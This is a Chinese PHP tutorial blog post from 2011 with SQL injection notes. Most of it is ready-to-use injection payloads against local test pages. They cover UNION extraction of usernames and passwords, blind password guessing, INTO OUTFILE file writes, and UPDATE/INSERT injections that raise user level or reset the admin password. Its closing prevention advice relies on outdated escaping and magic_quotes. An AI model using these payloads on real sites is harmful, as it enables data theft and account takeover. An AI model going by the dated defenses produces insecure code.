PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
PHP的FTP学习(三)
Oct 09 PHP
php 信息采集程序代码
Mar 17 PHP
PHP程序级守护进程的实现与优化的使用概述
May 02 PHP
PHP删除HTMl标签的实现代码
Jun 30 PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 PHP
php使用Jpgraph绘制柱形图的方法
Jun 10 PHP
PHP实现二叉树的深度优先与广度优先遍历方法
Sep 28 PHP
PHP中file_exists使用中遇到的问题小结
Apr 05 PHP
PHP编写的图片验证码类文件分享
Jun 06 PHP
PHP仿微信多图片预览上传实例代码
Sep 13 PHP
thinkPHP5.1框架路由::get、post请求简单用法示例
May 06 PHP
6个常见的 PHP 安全性攻击实例和阻止方法
Dec 16 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
PHP输出控制功能在简繁体转换中的应用
2006/10/09 PHP
adodb与adodb_lite之比较
2006/12/31 PHP
浅析application/x-www-form-urlencoded和multipart/form-data的区别
2014/06/22 PHP
VB中的RasEnumConnections函数返回632错误解决方法
2014/07/29 PHP
jMessageBox 基于jQuery的窗口插件
2009/12/09 Javascript
JavaScript中this的使用详解
2013/11/08 Javascript
Query中click(),bind(),live(),delegate()的区别
2013/11/19 Javascript
jQuery实现点击小图片淡入淡出显示大图片特效
2015/09/09 Javascript
JavaScript记录光标在编辑器中位置的实现方法
2016/04/22 Javascript
jquery获取复选框的值的简单实例
2016/05/26 Javascript
js控件Kindeditor实现图片自动上传功能
2020/07/20 Javascript
利用jquery给指定的table动态添加一行、删除一行的方法
2016/10/12 Javascript
Node.js获取前端ajax提交的request信息
2017/02/20 Javascript
Bootstrap 响应式实用工具实例详解
2017/03/29 Javascript
NodeJS爬虫实例之糗事百科
2017/12/14 NodeJs
vue 下列表侧滑操作实例代码详解
2018/07/24 Javascript
kafka调试中遇到Connection to node -1 could not be established. Broker may not be available.
2019/09/17 Javascript
js实现html滑动图片拼图验证
2020/06/24 Javascript
基于小程序请求接口wx.request封装的类axios请求
2020/07/02 Javascript
从源码角度来回答keep-alive组件的缓存原理
2021/01/18 Javascript
JavaScript如何实现防止重复的网络请求的示例
2021/01/28 Javascript
详解JavaScript中的this指向问题
2021/02/05 Javascript
[04:15]DOTA2-DPC中国联赛1月19日Recap集锦
2021/03/11 DOTA
在Docker上部署Python的Flask框架的教程
2015/04/08 Python
python的Crypto模块实现AES加密实例代码
2018/01/22 Python
Python实现的自定义多线程多进程类示例
2018/03/23 Python
Python实现井字棋小游戏
2020/03/09 Python
美国知名女性服饰品牌:New York & Company
2017/03/23 全球购物
三星俄罗斯授权在线商店:Samsung俄罗斯
2019/09/28 全球购物
家具促销活动方案
2014/02/16 职场文书
爱心捐款倡议书
2014/04/14 职场文书
个人查摆问题及整改措施
2014/10/16 职场文书
六年级学生评语大全
2014/12/26 职场文书
标枪加油稿
2015/07/22 职场文书
MySQL如何构建数据表索引
2021/05/13 MySQL
如何vue使用el-table遍历循环表头和表体数据
2022/04/26 Vue.js